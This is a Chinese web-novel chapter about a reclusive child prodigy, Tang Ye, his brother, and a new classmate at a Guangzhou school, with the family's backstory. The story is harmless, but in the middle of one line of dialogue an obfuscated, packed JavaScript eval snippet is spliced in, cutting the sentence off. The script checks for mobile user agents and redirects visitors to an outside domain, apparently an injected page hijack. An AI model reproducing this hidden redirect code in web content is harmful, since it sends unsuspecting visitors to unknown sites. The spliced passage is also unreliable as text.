《小镇里的花》 1. 第 1 章 楔子 暗夜中,两个身材高挑瘦削的年轻人正在街上发狂似的奔跑。 “晚星,晚星,我,我不行了,肚子很痛,我跑不动了!” “我善后,放心!你快跑啊!” “晚星!” “走啊,别回头!” 有几个人追上了那个男生,团团把他围住,他们的脸上,都蒙着黑色的面罩。 男生戏谑地对着他们吹了个口哨,但当中最强壮的那个蒙面人一脚踹在他的膝盖后面。 男生跪了下来,又突然向右边一个个子稍矮的蒙面人挥出一个强力的肘击,趁着包围圈的空档,他往旁边的巷子闪身过去。 蒙面人队伍里有人对他举起武器,但马上被领头的那个强壮黑衣人制止了:“不行,利害攸关!”他们赶紧追了上去。 但男生却像中了无形的魔法似的,突然向前扑倒。 几个黑衣人追过来时,男生的眼睛正慢慢地合上了,口中喃喃地说: “……普罗什凯纳弗谢格达,卡佳!” …… “我……杀了他?”一张几乎比成年人拳头还小的苍白小脸上,那双巨大的眼睛看着眼前的年轻女生。 “没有,不是,你没有,不是你……”年轻的白人女生一把抱起眼前这个看起来才三四岁却长得异常的孩子,拔腿冲入暗夜中。 …… 2014年9月。南粤实验中学。 今天校内张灯结彩,新的一年开学典礼。 作为临时班长,何嘉南举着初一1班的牌子,百无聊赖的东张西望。不经意间他在大队伍里看到一个瘦高个子的男生,在一群初一新生里格外显眼。 只见他的头发在阳光下是深褐色的,发荫长得几乎遮住眼睛,鼻梁高挺,嘴唇略厚而立体,在雪白的皮肤衬托下竟显得唇色深得有点发紫。小巧的头颅勾着,百无聊赖地看着地板,背微驼。 这种肤色和长相在南方人当中不常见,像个混血儿。 其实他个子和何嘉南差不多高,却排到队伍最后面。 典礼还没正式开始,他的前面和旁边的同学们都在交头接耳,有说有笑,但这高个子好像和这吵闹的环境格格不入,有点儿“不食人间烟火” 的清冷。 这一群约180位新生,可以说都是全市的理科尖子生,通过入学考试,选拔到校本部的。绝大部分人,不是何嘉南以前的同学、就是以前的竞争对手,在小学时,多次学科竞赛中都碰过面。 但只有这一位非常特别。何嘉南从没见过他。会不会是由别的城市考过来的呢? 隔着一个队列,他向着举着初一3班的牌子的女生——他的小学同班袁雅维——小声问:“队伍后面那个高高瘦瘦的男生,你们班的?” 袁雅维问,“高高瘦瘦?哪个?”顺着他的示意看到那人后,小声的隔空回答他:“是啊,不过怪得很,不怎么说话,开学前什么活动也不参加。” 何嘉南刚想再问,不过这时候广播响起了,开学典礼开始了。 升国旗唱国歌、在校长、主任等等一系列冗长的讲话之后,会特别点名表扬一批特长新生。 何嘉南和袁雅维都因为在入学考试时双双获得了综合总分第一而被点名表扬了。他们按照老师的要求向全场鞠躬致敬,成为新生里的典范。 在他们之后,还有一名学生得到了特别表扬。居然这么难的入学考试里,这位学生取得了理科,全!满!分! “TANG YE!TANG YE同学,在哪里?” 新生们互相你看看我,我看看你,对这个名字都陌生得很。 何嘉南不由得回头看看坐在最后的那位高瘦的男生。只见他默不作声的站了起来,在人群的后面默不作声地微微弯了一下腰、又默不作声了坐了回去。 新生们都还在问:“谁呀?谁呀?天哪,这么难的题,数学和科学全满分,是人吗?听说他弃考了语文,要不是估计他的总分会达到全校历史性最高。这也太可怕了吧,脑子怎么长的呀?” 不过他很快就知道为什么这个几乎和他一样高的男生会排到队伍最后面——每次大会结束之后都要进行长跑训练,这也是他们学校的一个传统,以让同学们保持一个良好的身体状态。 这时候那位高个子男生竟然来到队伍后面的休息区,继续懒懒散散的站在那里,和老师们一起等候他们慢跑。 “哇,这是什么特权呀?好羡慕啊!”新生们有的也看到了这个跟他们不一样、不用在南国9月的骄阳下奋力奔跑的高瘦男生,都羡慕不已。 “切,这有什么好,也许人家有病呢!” “啊~~老师,我也有病啊!” “蛇精病呢你!” 入学后的各种新生活,很快就让何嘉南忘记了这个人物。毕竟对于班长、大队委的他来说太多杂事干了,而且还得保持他的学习优势呢! 何嘉南第二次留意到这个男生,大约在开学两个星期之后。 那天自己出门迟了,死冲烂冲拼命冲,总算是在最后的几分钟踏入了校门,再飞快地爬到位于四楼的教室。 转过一个弯,只见在前面不远的楼梯上有个高瘦的男生,时间紧迫却还慢慢地一级一级上楼梯,何嘉南看着他消瘦的背影,心想,这谁啊,两条腿白长了那么长! 上到四楼的楼梯间时,那男生干脆就不再挣扎了,扶着楼梯间的墙壁站住。 “快冲啊,迟到啦,最后一分钟!”何嘉南一边朝他喊道,一边与他擦身而过。 在他身边经过时,何嘉南听到他居然在喘着出气。 “不要。”他的嗓音糯糯的,与他给人的高冷感觉一点都不像。他转过脸,小巧的脸上异常地潮红一片。 原来就是开学典礼上见过的那个让他印象深刻的理科满分男生。何嘉南觉得他呼吸急促得有点异样,便停下来问他,“你没事儿吧?” “没事,你快走吧。”他转回头不再理他。 何嘉南想着什么时候向袁雅维打听他的事,结果再次忘记。 第三次见到他,已经是国庆长假的第四天了。这一天何嘉南跟着大他两个月的堂哥何柏文,与堂哥的好些新同学——知行中学初一的新生们一起出来打篮球。 “抱歉,抱歉,大家!我把我弟也拖出来了,迟了点,不好意思啊!”他们又来了一位头发长长的男同学,头上扎着一个红色的发带,英气勃发。后面似乎还用力拽着一个人。 “唐天!就差你啦!迟到了,等一下请喝奶茶啊!”大家起哄。 “没问题,没问题,午餐也是我包!”他把站在后面的人拽到前面来,“这我弟!” “你弟?” “对啊,亲弟弟!” “靠!你弟长得比你还高,你这当哥的怎么长的呀!” 那个叫唐天的男生放开了他弟弟,假意要揍刚才说话的那个人。 何嘉南不由得向他们说的那个弟弟看了过去。“唐叶?”他不由叫道。 低着脑袋的弟弟抬起头看他一眼,眼神迷茫。 “你是袁雅维他们班的吧,初一三班的。我也是省实的呀!” 刚才的唐天向何嘉南问道:“你又是谁呀?” 何柏文抢答:“我弟!以为就你有弟弟呀?” “妖!”两个同班同学扭到一起去。 何嘉南走到那男生身边,自我介绍到,“何嘉南,初一一班的,是袁雅维的小学同学。你好啊,你是叫唐叶吧?”何嘉南向他伸出手想握个手,表达善意。 “唐晔,日华晔。”他简洁的说,但却并没有跟他握手的意思。 “日华晔……我知道!是’晔兮如华’的晔字吧?”关键时候还好记得上次在伯父家练的毛笔字。 “哦,你读过神女赋?”这个叫唐晔的男生终于正眼看着他。 “……没读过,听我伯父说的,哈哈!嗯,就是何柏文他爸,”他指了指不远处和唐天扭到一起的男生,“那是我堂哥,今天说他们同班同学不够人打球,硬拉我来的。” “我也是,被硬拉来的。”唐晔闷闷地说。 “你不喜欢打球啊?” “不喜欢。” “噢!今天4号,我已经打了三天球了。1号和我们初一1的新同学,2号和小学同学,3号做了下作业又和我爸玩了会球,不过他太老了跑不动,今天又跟何柏文过来了。” “……”唐晔并不答话。 何嘉南突然想起开学那一天他心里面的疑问:“对了,你哪个小学的,之前好像从来没见过你。” “难道你会认得所有的小学生么?”唐晔的关注点很特别。 “那倒不是,只是能考上省实的,或多或少都已经在各种竞赛当中见过面,所以还是有会那么一点印象。” “没读过。” “什么?” “没上过学。” “什么?没上过小学?” “对,除了小学,也没有幼儿园,也没有兴趣班、也没有培训班。家庭原因,不能上学。就是这样。” 这已经是这人说过的最长的句子了,内容却把何嘉南震惊得接不上话。“……你说你从小到大从没上过任何学?” 唐晔却用有点探究的语气问:“和同龄人说话,就是要不断地重复相同的内容吗?”然后马上自我总结了一下,“有点无聊。” 这人会说人话吗!何嘉南气得半死,抱着手臂不想再搭理他。 唐晔看了他一眼,说:“听力正常,逻辑也没问题,那就没必要重复。” 何嘉南感觉自己更生气了。 何嘉南换了个话题:“哎,听说你入学考试,数学和科学都是满分,是不。” “嗯。”唐晔还是言简意赅。 何嘉南看着他,突然笑了出来。 这下反而是这个高瘦男孩奇怪了:“你在笑什么?” “你多说两个字会死呀么,聊不下去的感觉。” “……我不知道该和你说什么。” “比如讲讲当时入学考试卷子,数学最后一道大题是怎么做的?我是真没想出来耶,这里丢了15分。” 唐晔简单说了答案。 何嘉南说,“呀,我怎么没想到?” 他们俩讲着讲着题目,聊得更深入了些,这新同学的脸上浮现出甜甜的微笑。 突然,一个篮球擦着他们的肩膀飞了过来。 何嘉南“蹭”的一声站起来吼到,“谁!杀人吗?” 只见那个叫唐天的从另一个同学手里又接过一个篮球,命令道:“小晔,过来,打球!” “真没礼貌,我们俩正在说话!”何嘉南拉住这个刚认识的新同窗,对着他那拽得讨厌的哥哥叫道。 “请等一下,我哥哥叫我。”那新同学的笑容迅速收敛了起来。 但何嘉南执意不放手。 何柏文来解围了:“唐天带他弟弟出来就想他运动运动,你们又偏偏坐在那儿聊数学题,烦不烦。摆明小看我们知行的不是?这样吧,何嘉南,我们玩2v2,你们俩省实的,我们也出两人,来个校际对决怎样?” 何嘉南还没答话,唐天就叫了两个名字:“李明,王阳,你们俩陪他们玩玩。”就坐到了旁边高起来的楼梯上了。 “有种你自己来!” “嗤,你还没资格让小爷我亲自上!” 何嘉南气炸了,一个怪弟弟,一个拽哥哥,这两兄弟从小是怎么长大的,怎么还没在小学时被人弄死!“我收拾完这俩人再来干趴你!” 李明和王阳两个无辜被牵联的同学无可奈何地站到他们对面,一脸生无可恋。 “他们求胜欲不强,估计我过他们俩没问题。唐晔,你等下站在篮底,我传给你。”何嘉南简单交代。 “什么是篮底?”唐晔很认真地发问。 “……你在说笑吗?你打过篮球吗?” “没有。不过在哥哥家时,陪他看过球赛,记得些。” “你妹!……见过猪跑不等于吃过猪肉!” 第一球,唐晔从哥哥手里接过篮球,他从中线开始,带球没跑一步,对手一号王阳就封住他前进的方向,他看向队友何嘉南那边——对方把他逼到端线附近之后,反而就没有过多留意他的动态。 唐晔马上双手抱球扔了过去。 王阳虽然心中大惊迅速回头,但局势还是有利于他们俩的,且不说这球是否出界,就算何嘉南接到了,从角落的位置是否能突破李明的防守来到篮底也是个问题。 这时,一边旁观的何柏文却叫了声“不好!”——只见何嘉南在离角落不远的边线处一捞、接住了球,然后在李明没反应过来时右手单手持球猛扑一跃而起,球划了一个漂亮的半圆形弧线、准确落入篮框。 “噢耶!一分!……唐晔,这球你该不会是乱传的吧?” 唐晔摇了摇头,慢悠悠地说:“我在学校看过你打球,你对这个入球方式非常熟悉。” “也对,这个位置能骗到不少人……喂,不过,你刚才又说不知道我是谁?那你不见过我打球么?” “现在记得了。”唐晔还是那么不紧不慢。 第二球,由李明开球,何嘉南防守。他盯紧李明时,突然察觉后方有个行动奇怪的身影——他看起来处在要接应李明的极有利位置,但李明又完全没有要传球给他的意思。 他不由得回头一看,靠,这不是我自己的队友吗?他不去防守王阳,跑到李明面前干嘛?!这时李明瞅准机会传球给几乎已经站到篮底下的王阳,王阳接到球顺手把球向篮板射去。糟了! 这时,仿佛像他们带了主角光环似的,王阳的射球没进。 何嘉南抢到了从篮板反弹出来的球,不给对手有近身的机会,反手一个射篮。这次,球进了! 何嘉南质问那个刚才跟在他身后呆头呆脑的唐晔:“同学,你知道你刚在干嘛?” “打篮球。”唐晔还是一如既往的说话简洁。 “……你知道什么是防守不?”某人咬牙切齿。 “知道,但我不会。”唐晔很诚挚。 “……”这地板级别的猪队友!何嘉南气得半死!但既然赌上学校的名义,他绝不放弃! 第三球一开球,何嘉南快打快,立即把李明的球抢到自己手里。但李明和王阳两人已经看出唐晔不太会打篮球,对他疏于防守。孤立无援,饶是何嘉南球艺精湛,被两人防守着一时也难寻得机会。 此时无人防守的唐晔居然自己跑到篮底下。 何嘉南瞄到他的位置,用眼神示意他在那儿等着,便加快动作朝他方向运球。 在他即将用假动作骗过李明、想要传球给唐晔、与唐晔对视一眼时,他竟从唐晔的眼神里捕捉到一丝惊慌——“这家伙该不会不懂怎么接传球吧?” 这一瞬间、趁一直压在他右边的王阳已经回防唐晔时,何嘉南干脆利落自己抬手射球。 又进了! 何嘉南向唐晔伸出手想和他击掌庆祝,但唐晔好像根本没意识到赢球之后击掌的意义,与举着手臂的何嘉南擦肩而过。“这死小孩!怪不得刚才他哥对他呼来喝去!就是该骂!谁摊上他真是有得受的!” 但比赛还没结束。本着有始有终的体育精神、何嘉南叫住了天塌下来似乎也不关他事的猪队友:“喂,想赢一把吗?” “这种输赢很重要吗?”唐晔再次诚挚得像个傻子。 “也不是,只是,我不想自己先放弃。” 唐晔盯着何嘉南的眼睛。何嘉南也回盯着唐晔。他第一次发现,在唐晔长长的发荫掩盖下,竟然长着一双睫毛浓密、深邃得像海洋一样的幽蓝色眼睛。 此时,海面泛起涟渏,但马上就被低垂的眼睫毛盖住了:“我要怎么做?” “你防守这个,他不够你高,队友不会正面传球给他,注意防住左右两边。” “我尽量。”无奈中仿佛又有一丝期待。 同是初一新生,何嘉南和唐晔比其他同学长得要高些,第四球开球,李明控球想单人突破何嘉南,但这并非易事,眼看时间一秒一秒过去,他只能硬着头皮传给另一条边线附近的王阳。 “没戏!这家伙防不住人!”何嘉南心想,他刚想转身冲过去防王阳,却看到终于认真起来的唐晔也并没轻易被王阳突破。 此时,面对着他的王阳同样心里也在骂着,“这傻小子学东西快得很!”控球不会控,但自己的假动作倒是骗不过他,长得又高,把射球路线封死了。迫不得已,他只好又把球回传给李明。 但这正好被候在一旁的何嘉南截了胡。何嘉南球一到手,又是他经典的直接射球——“梆”的一声,球再次射入篮框。 又是何嘉南。 他向唐晔喊道,“防守得不错嘛!”唐晔回了他一个微笑,他心想,原来这呆瓜也会笑啊?!但是他突然发现不对劲儿——才打了不到十分钟,唐晔刚才雪白的脸就红得像快要滴血似的。 “喂,你没事吧?” “没事,只是比较少打篮球而已。” 第五球开始了。何嘉南把球给了唐晔让他去进攻试试。唐晔却被王阳撞得一个趔趄。在滑倒之前他把球及时扔到篮筐另一边,而何嘉南也刚好配合默契接到传球入了篮。 何嘉南叫道:“5比0,怎样?”回头看到唐晔已经跪在地板上了。 何嘉南向他喊道“没事儿吧”刚想跑过去,前面突然闪过一个人影朝唐晔冲过去,把他扶起来。 唐天一边扶着自己弟弟,朝他同学吼道,“干嘛推我弟?!” 王阳很无辜,“天哥,你也不是看到了,就正常的碰撞啊!”又问唐晔:“同学,你没摔到吧?” 唐晔连忙向那同学摆了摆手表示自己没事。 “他前两天摔了,膝盖还淤青着!”唐天对自己同学怒目相向。 何嘉南突然想起什么:“喂,我记得你是免晨跑的吧,你是不是身体有什么毛病啊?” 唐晔急急忙忙对他微微摇摇头。 “他免晨跑?”唐天奇怪地问。 “你是他哥你不知道?”何嘉南对唐天还是没好气。 “我又不在你们学校我怎么知道!” 这时他们已经来到球场边缘。唐天压低声音问:“你告诉过我你的病已经全好了,怎么回事?整天见你就是窝在那儿不想动的样子,所以才想带你出来玩玩……” 唐晔眼帘低垂:“说了我已经没事了!” “喘成这样还说没事?那免晨跑是什么回事?!” “我不想参加,让方伯伯去跟学校申请的。真的好了!” “你又骗我?” “好啦,你同学在等你啦,去吧。” 这边何嘉南小声对何柏文说:“那小子有病吧,对弟弟忽冷忽热,是双胞胎吗?样子又不太像。” 何柏文笑笑不答话。 “话说平时他在学校里也这么拽?你咋交上这样的朋友?”何嘉南无语。 “不就刚开学一个月而已,话说我也觉得他俩蛮有趣的!”何柏文笑着说。 打五人又不够,只能“斗牛”,唐天加入了何家两兄弟的队伍。几组同学轮番热火朝天地比赛起来。何嘉南觉得唐天这人其实玩起来还好,技术不错,就说话拽了点。 他们三人刚取得一局胜利,唐天对坐在楼梯上的唐晔大叫:“怎么样?哥哥帅不?”唐晔微笑着对哥哥比出个大拇指。 何柏文趁机扑到何嘉南背上,也学着唐天那样大喊:“怎样,哥哥帅不?” 何嘉南一把把他甩下来,“滚!” 何柏文借势稳当地站住了:“哼,真不好玩,还是别人的弟弟可爱。” 外送饮品到了,唐天把奶茶分给大家,把果汁分给弟弟,拿起最后一杯奶茶刚喝了一口,一转过脸,就看到弟弟目光炯炯盯着他的杯子,他连忙说:“不是不让你喝,这里面有牛奶。” 唐晔“噢”地应了一声,但还是忍不住斜眼瞄着大家手里的那些与自己不一样的杯子。 唐天看得不忍心说,“我没骗你,给你闻闻?” 唐晔连忙像小狗一样瞪着水汪汪的眼睛对他点了点头。 唐天就把自己的杯子递到他面前。 唐晔拿了过来,神情专注地晃了晃,又沿着杯沿仔细闻了闻,趁自己哥哥一时没留意竟放在嘴边浅浅抿了很小一口。 唐天回头看到,顿时紧张地喝道:“赶紧吐出来,找死是不?!” 他摇着头煞有介事地说,“一点点没事啦,不过苦苦的好难喝。” “我这杯不加糖,戒甜食,要不对喉咙不好。” “我要喝甜的。” “喝你的橙汁。” 何嘉南挠着何柏文的小臂发着嗲:“哥哥,我也要喝你哒,要甜的喔!” 何柏文说:“来,哥哥喂!”说着就含一口奶茶假装嘴对嘴喂何嘉南。 “妖!”何嘉南笑骂着推开自己堂哥,大家哄笑起来。 唐晔囧得把脸埋在膝盖上。唐天一掌拍在何柏文肩上:“叫你俩含沙射影!” 歇一会又玩一会儿,已经快到中午了,大家也都饿了,干脆结束比赛,到附近的茶餐厅吃饭。 唐天一边对几个同班同学们说着:“今天我请,别客气尽管点。”一边在靠窗边的桌子招呼唐晔和何家兄弟坐到一起,拿过餐牌就开始选菜式。 何家兄弟按照平时的口味快速选了碟头饭和饮料,但到了唐晔那儿,却犹豫不决,太多让他新奇的东西了:无论是菠萝油、还是丝袜奶茶、还是四宝饭、还是烧鹅濑,他都想尝一下。 唐天一边从弟弟手里接管了菜牌,一边说:“下次再带你去吃好的,这次听哥哥的。”他招来侍者,自作主张帮弟弟做了选择。 何家兄弟奇怪地问,“难道你没吃过这些?” 唐晔摇摇头。 “你哪个乡下出来的啊,哈哈哈,好好玩。”何家兄弟对这货来了兴趣:都是同一级的,怎么这货不像初一、倒更像小学一年级小朋友? 唐天点完菜,闻言有点宠溺地摸摸弟弟的后脑勺。 碟头饭很快送上来,唐天让人拿了个碗,从自己碟里夹了鸡蛋递给弟弟,想想又给他加了好几片牛肉,一边说:“你先吃,给你点的蒸饭估计还得好一会儿呢!” 唐晔点头答应,又认真地说:“那我的等下也分给哥哥。” 何家兄弟从刚才看着他们俩的互动就一直觉得好欢乐。 何柏文学着唐晔柔软的语气说:“唐天哥哥,我也要吃一口。”唐天毫不客气拍掉他的手,笑骂着“滚一边去”。 何嘉南也笑着说:“这是照顾小宝宝吗,好奇怪。” 唐晔的脸瞬间又红了。 唐天用嫌弃的语气说,“他食物过敏,这也不能吃那也不能吃,太难养了。五六月份还病得差点挂了,不宠不行。” “这么严重?”何家兄弟惊讶。 “说了我已经好了!”唐晔马上反驳。 “你还说!刚才动一下还喘成这样!今年生日都是在医院里过的,还想明年再来一次?”唐天提高了音调。 “不要再说了!”唐晔小声糯糯地回应,刚认识了新朋友,他可不想马上就被人嫌弃。 “好好好,不说不说。”唐天安抚道。他转向何家兄弟:“他从小身体不太好,我家那怪老爷子一直把他关在家里,既不让去上学,也不让他出去玩耍,反正就是不让出门,就一直把他养在大宅哪都不许去,就差没用铁链拴住了。” “不会吧,出门都不让,这么变态?” “刚听说他没念过小学,我还以为他说笑的!那你爸妈不管?” “我爸爸妈妈不是……”唐晔正想解释,唐天硬塞了片牛肉进他嘴里,不让他随便说话,又说,“第二,还有个原因。何嘉南,你知道他入学考试,理科全满分吧?” 何柏文惊讶,“不会吧?” 何嘉南点点头,说:“还有,上月月考成绩还没公布,不过我内部消息得知他们三班有人也是全满,包括附加题也全对。估计也是你?” 唐晔理所当然地点点头。 “你说说最近在看什么书?”唐天又问他。 唐晔一副开心分享的神情,回答道:“最近在看关于拓扑量子序的一些基础理论,就是,一种特殊的量子状态,它在量子计算和量子信息传输中表现出独特的性质。据说这种量子序对环境的干扰具有很强的抵抗力,这意味着在量子通信和量子计算中,信息可以更加稳定和安全地传输和存储。此外拓朴量子序还涉及到阿贝尔统计和分数化的量子数。我觉得很有必要深挖一下……”小小的脑瓜里却冒出宏大的想法,但在另外三个人的眼神下渐渐住了口。 三脸懵比。 何嘉南说:“……我大约、似乎、好像、有那么一点儿记得听过这些名词。” 何柏文说:“那啥,弟弟,你和我叔,就是他爸——”他指指何嘉南,“肯定有得聊,他是大学物理学院的副院长。” “所以,你们大概能明白这个可怕的小脑瓜里装的是啥了?”唐天摸了摸弟弟的脑袋,唐晔嫌脏,拍开他的手。 “他这么聪明,你家里人应该开心死了才对。” “一般来说是,但是,我爷爷的想法却并不一样。”唐天压低声音说,“我有个亲叔叔,比我爸小十几二十岁,但从小非常聪明,不到十岁时就被京城科大的少年班招了去。但是没过几年,他就在不知道什么实验中因为事故去世了,我都没见过他,只是听爸妈提过一嘴。我爷爷当时难过得要死,所以,当家里又有一个和我叔同样聪明的孩子,爷爷根本不想让人知道,怕又会重蹈我那叔叔的覆辙。” “你家这是祖坟冒青烟了吗!那么多天才?不过这样好可惜啊,我觉得以他的头脑,也选得上少年班的。”何柏文一脸诚恳地说。 何嘉南也惋惜地看着他,“太过份了,小时候就算多聪明,不念书学习,大了就啥都不懂了,就像那个项……项什么一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942735|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “像什么?”大家奇怪。 “项……什么,忘记怎么念了,哈哈哈!就是那个传说中,七岁就当孔子老师的那个项……庄?项梁?三字经里有写的。”何嘉南挠着自己脑袋说。 唐晔忍不住噗哧一笑:“是’项橐’吧?三字经写的是‘昔仲尼,师项橐,古圣贤,尚勤学’。” “对对对!那典故是啥来着了?我搜一下。”一说起历史典故,何嘉南脑子里就空白一片了。 唐晔含笑帮他续上:“《战国策》中这样记载的——孔子遇项橐于途,问曰:‘何火无烟?何水无鱼?何山无石?’橐对曰:‘萤火无烟,井水无鱼,土山无石。’子曰:‘善哉!吾尝闻智者乐水,仁者乐山。今见子之答,果非虚语。’橐复问孔子曰:‘鹅鸭何以浮水?鸿雁何以鸣叫?天有几星?地有几屋?’孔子闻之,默然良久,乃曰:‘吾虽为圣人,然于子之问,实有未解之处。愿受教于子。’遂拜项橐为师,共游数日,相互问难,皆有得焉。” “对!就是这个!”何嘉南叫道。 “这个典故我倒是知道,不过一说到哪个典故,居然能马上原文背诵的,还真是,天才呀!”何柏文感叹。 唐天疑惑:“你直接说《伤仲永》不行么,课本上就有,非得说个不懂的字!但这个故事只是说项橐小时候厉害而已,与‘小时了了,大时未必’有何关系?” “……”何嘉南无语。 “哈哈哈哈,肯定是我婶教他的呗,我婶是历史老师。《伤仲永》大家都学过,没法显摆呀,可惜某人的猪脑子只记住前一半,后一半忘了吧。”何柏文得意洋洋揭堂弟老底。 何嘉南锤了一下桌子,“我也不记得这人物后续了呀,我妈又没说清楚!好像是后来十二岁当上宰相?” 唐晔轻声补充,“……那是甘罗。甘罗与项橐,在史书上的联系在于,《史记》记载,战国时期的甘罗引用了春秋时的‘项橐七岁为孔子师’的典故,类比自己十二岁就担任秦国的上卿、也和项橐一样聪明的意思。” 何嘉南不耻下问:“你太厉害了!那你顺便告诉我,这个项橐长大之后怎么了。下次我好记得。” “正史上没有确切记载项橐长大的故事。”唐晔认真作答。 “那也就是‘泯然众人已’,不值得记录了呗!” “不过有些野史写过,这个项橐在12岁就死了,后世考证,这个记载的可信度很高。” “啊,不会吧,12岁就死,太惨了!” “毕竟春秋时期战乱不断。但我认为,慧极必伤,早早的……死于多虑吧。” “呼——”一阵寒风从窗边刮过。 “喂,别说这个了,我们都是12岁啊!突然好冷啊!”唐天声音有点儿发虚。 “我上星期刚过了13岁生日!”何柏文莫名觉得庆幸。 “我也快要过生日了,不到一个月!”何嘉南也呵着自己胸脯。 唐天:“……我还3个月,靠!”他又突然抱着弟弟的肩膀,说:“小晔,你怎么办?” “什么怎么办? “你才11岁,前几个月病成这样子,该不会?!” “你想啥呢!拿我跟个两千多年前的人比!”唐晔对哥哥翻了个大大的白眼。 “等下,他才11岁?”何家兄弟倒是抓住了重点。 “……嘘!你俩别叫那么大声。这家伙不是在国内出生的,据说没人知道他什么时候出生,证件上办的是与我一样的01年12月,但我们偷偷看过,他很大可能是03年的!”对着自己的密友,唐天倒是知无不言。 “啊,比我们小了两岁啊!怎么搞的呀?”何氏兄弟奇怪。 “我哪知道怎么搞的,反正就搞定了呗。”唐天说。 唐晔的嘴唇微微张了一下,欲言又止。 “我刚才就觉得你俩看起来不像双胞胎,长得完全不像。”何嘉南说。 “那你们是堂兄弟?表兄弟?”何柏文也好奇。 “我们就是亲兄弟!不过,其实也就从今年元旦才开始的……”唐天说着。 话说唐晔与爷爷一直住在云山脚下人迹稀少的大宅,离市区近一小时车程。 他们爷爷唐万里年轻时是一名军人,为人仗义。中年发迹后,他仍保持着乐善好施、乐于助人的品质。然而,命运却接连对这个仁人君子进行打击。先是不到五十,他深爱的妻子因高龄产下次子唐晚星而不幸离世;随后,在花甲之年,他万般宠爱的次子晚星也因事故离世。 唐万里膝下,现在不过只有长子唐山海,唐山海娶了父亲的老战友、川蜀归氏的大女儿秀兰为妻。与夫人归秀兰有两名亲生子女,21岁的长女唐笑和快13岁的长子唐天。 而唐山海夫妇商务忙碌,安家在城里的CBD中心的珠江新城,节假日才回去看看老父亲。如此,唐天与爷爷从小并不特别亲。 唐天六岁那年春节回大宅,发现爷爷家多了个病焉焉、瘦得像猴子似的孩子,据说这孩子长相与已去世的奶奶、以及夭折的二叔十分相像,深得爷爷唐万里欢心。老人家亲自给他求了个名字“晔”,并安在山海夫妇名下入了族谱。 见他的第二次,归秀兰心里便响起了警钟。 这个叫唐晔的小孩不但长得像二叔,头脑也和天才二叔一样,几乎没啥不会的。 再回头一看自己这“不成器”的亲儿子—— 其实唐天一直对音乐的兴趣更大,从小对着电视、音响里的歌咿咿呀呀,四岁开始学钢琴,到现在12岁,单论琴技并不见得非常高超,但乐理知识却十分扎实,再加上继承自妈妈的亮堂嗓门,唐天的声线非常独特而优美。 从几年前他自己就尝试过写曲子,到现在自己也能自创自弹自唱好些歌曲了。这也是让父母们极为欣喜的技能,但对于他们这个经商的家庭而言,长子应该掌握的是对商业有更大助益的技能,而非文娱事业。 归秀兰希望唐天能像比他大8岁的姐姐唐笑一样,从小就读于名校,考入欧美的著名商学院,既学习又与世界财团的继承人建立关系,拓宽视野。毕业后,他应在集团各部门工作,了解基层,逐步掌权,最终继承家业。 尽管大女儿表现出色,但归秀兰的目光从未在她身上停留太久——毕竟女儿将来要嫁人。在生下女儿后的八年里,她一心期盼儿子。 去年,即2013年12月下旬,生日那天早上,唐天早早起来、一溜烟又进了琴房自己又开始在那儿作曲了。 归秀兰起床吃过早饭,正在嘱咐保姆安排餐食,忽然听到楼上传来儿子唱兴奋了的歌声。她一拍桌子站起来就冲到楼上骂儿子。 三少爷唐晔被人送到时,正看到他们家保姆围在房间门□□头接耳,房里传出大夫人归秀兰的尖声叫骂以及二少爷的哭喊声。 唐晔若有所思地来回看着归秀兰和唐天,他们是自己的妈妈和哥哥。 过几天,便是2014年的元旦。唐天跟爸爸妈妈一起坐车回位于云山深处的大宅。爷爷在十几年前就一直住在这里,陪着他的、能随意出入的只有跟了他几十年的老助理方源。 原来唐笑一到周末也回爷爷家,四年前唐笑去外国留学之后,偌大的房子除了唐万里,就只有这个不明来历的混血模样的小孩唐晔。 坐在车里,爸爸唐山海还不住地叮嘱:“小天啊,说了很多次他是你二叔的遗腹子,二叔以前的外国女朋友生的,好不容易找回来,我们该好好待他。” 唐天听妈妈说过,爸爸有个弟弟,比爸爸小了二十岁呢,但他对这个才16岁就早死的二叔没任何印象,他“哎”了一声。 归秀兰嘴上答应着,心却在说,骗谁呢!唐晚星当年一直在京城上学,别是这个小叔子死了,就把私生子这腌臢事推他头上好不? 这二十多年夫妻相处,归秀兰也看出这唐晔的确不是自家老公的娃。但是,公公可就难说了。别一下子给我整出个次子变三叔,辈分爬到我家天儿的头上。 天气和暖,他们回到云山大宅后,爷爷邀他们一起逛逛自家园子。 这个大宅建在云山一个山坳里,山坳本来地方不大,几进院子却设计得错落有致,显得大气又别致。一些一层或两层的新中式建筑矗立其中,以回廊相连。 刚才他们停车的地方,是在正厅外面。 第一进院落恢弘大气,是会客宴请的正堂。正堂后面还有个花厅,里面有好些字画。 现在喝茶的院落,是宅子第二进,北面唐万里日常住的正房。东面连着几间厢房是为山海两夫妻备下的。西厢房空置。 沿着正房后方小径上山坡可到达老父亲最引以为傲的、有两层半高的藏书阁,而往后直走、穿过月亮门,就是名为“晴园”的宅子后园,本来是建给所有孙子女们居住的,但现在平时也就是三少爷唐晔一个人的居所。 大家跨过月亮门,正看见穿着一件紫色晨袍的唐晔把亭中间桌子上盖着的布掀开,原来桌子上竟放置一架七弦古琴。唐晔展一下袖子,便拨动了琴弦弹了几个音。 音乐素养很好的唐天听出来了,这怪弟弟弹的正是古曲平沙落雁的开头四个音——高、低、远、近。 听他往下弹到几个本来是模仿雁鸣的退吟时,唐天忍不住噗的笑了出来,这是乌鸦在喊救命?这小孩该不会以为古琴这么容易学、这么容易弹出意境吧? 弹完两小段,唐晔站了起来,恭敬地长辈们打了招呼,又面对唐天说,“前几天才刚开始学,让哥哥见笑了。” “你呀!该不会认为音乐这么好学的吧?就凭你翻翻书,看看视频,就能学得好么?”唐天说得有点趾高气扬。 归秀兰假意批评儿子说:“小天你学音乐多少年了?你听得出小晔弹得不好,听着就算了,怎能随随便便就说出口呢?” “哥哥说得对。我才学了三天,哪能跟哥哥相提并论。”唐晔倒是说得大方。 